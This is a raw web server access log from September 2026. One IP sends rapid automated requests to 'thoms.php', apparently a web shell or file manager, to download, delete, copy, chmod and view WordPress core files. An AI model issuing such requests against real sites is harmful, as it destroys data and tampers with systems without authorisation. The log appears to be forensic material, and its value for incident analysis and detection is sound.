45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22096 "https://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22273 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?del=Requests&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=Requests&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=Requests&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?dl=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?dl=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?dl=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?dl=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?dl=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?dl=atomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?del=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22283 "https://163.245.207.76:443/thoms.php?del=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-load.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fnav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fnav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22269 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fnav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22050 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?del=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22147 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fbookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fbookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?chmod=Requests&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22217 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fbookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=Requests&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?dl=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcss HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
